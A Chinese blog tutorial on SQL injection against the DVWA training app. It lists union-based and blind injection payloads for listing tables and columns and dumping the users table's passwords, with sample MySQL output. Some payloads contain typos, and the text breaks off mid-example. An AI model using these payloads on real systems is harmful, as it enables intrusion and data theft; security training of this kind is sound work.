sql注入基础-基于dvwa

本文详细介绍了DVWA中的SQL注入漏洞,包括各种级别的测试和利用方法,涉及payload收集、MySQL系统表介绍、绕过策略和参数化问题。通过payload示例展示了如何判断注入类型、获取数据库信息和数据,以及如何应对不同级别的防护。
摘要由CSDN通过智能技术生成

SQL注入

问题

  • 研究pdo的order by如何写
  • 注入类型数字型、字符型如何判断

payload收集

参考:
https://blog.csdn.net/alex_seo/article/details/89240675

有回显

  1. 判断字段个数 oder by 1 ; union select 1,2
  2. 获取当前数据库 union select database()
  3. 获取当前数据库的表信息 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
  4. 获取表字段 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’
    这里用到了’ 这些特殊字符,如果被过滤了可以考虑进行16进制转换
    union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273
  5. 下载数据 union select group_concat(user_id,first_name,last_name),group_concat(password) from users

无回显

  1. 判断数据库名称长度 and length(database())=4 判断长度是否为4

  2. 判断数据库名称 and ascii(substr(databse(),1,1))>97 判断数据库名的第一个字符的ascii是否>97
    继续判断
    1’ and ascii(substr(databse(),1,1))>100 # 报错
    1’ and ascii(substr(databse(),1,1))<100 # 报错,则ascii为100,字母为d
    最终能确认数据库名称为dvwa

  3. 判断数据库表个数

and (select count (table_name) from information_schema.tables where table_schema=database())=1
判断表个数是否为1

具体sql的返回举例子
MySQL [dvwa]> select count(table_name) from information_schema.tables where table_schema="dvwa";
+-------------------+
| count(table_name) |
+-------------------+
|                 2 |
+-------------------+

  1. 判断数据表名长度
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1
逐次加大length长度,最后可以获得当前数据库中的表的个数


根据页面返回正常与否来判断表名的长度
例子:
MySQL [dvwa]> select length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1));
+--------------------------------------------------------------------------------------------------------------+
| length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) |
+--------------------------------------------------------------------------------------------------------------+
|                                                                                                            9 |
+--------------------------------------------------------------------------------------------------------------+
  1. 猜解表明
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
判断当前数据库的第一个表明的第一个字符是否>97, 这里可以逐步猜解出数据表名
例子
MySQL [dvwa]> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1));
+---------------------------------------------------------------------------------------------------------------+
| ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) |
+---------------------------------------------------------------------------------------------------------------+
|                                                                                                           103 |
+---------------------------------------------------------------------------------------------------------------+
  1. 判断表中的字段个数
and (select count(column_name) from information_schema.columns where table_name= ’users’)=1


  1. 猜解字段长度
and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1
判断users表的第一个字段长度是否为1,继续判断直到才接触长度
例子:
MySQL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值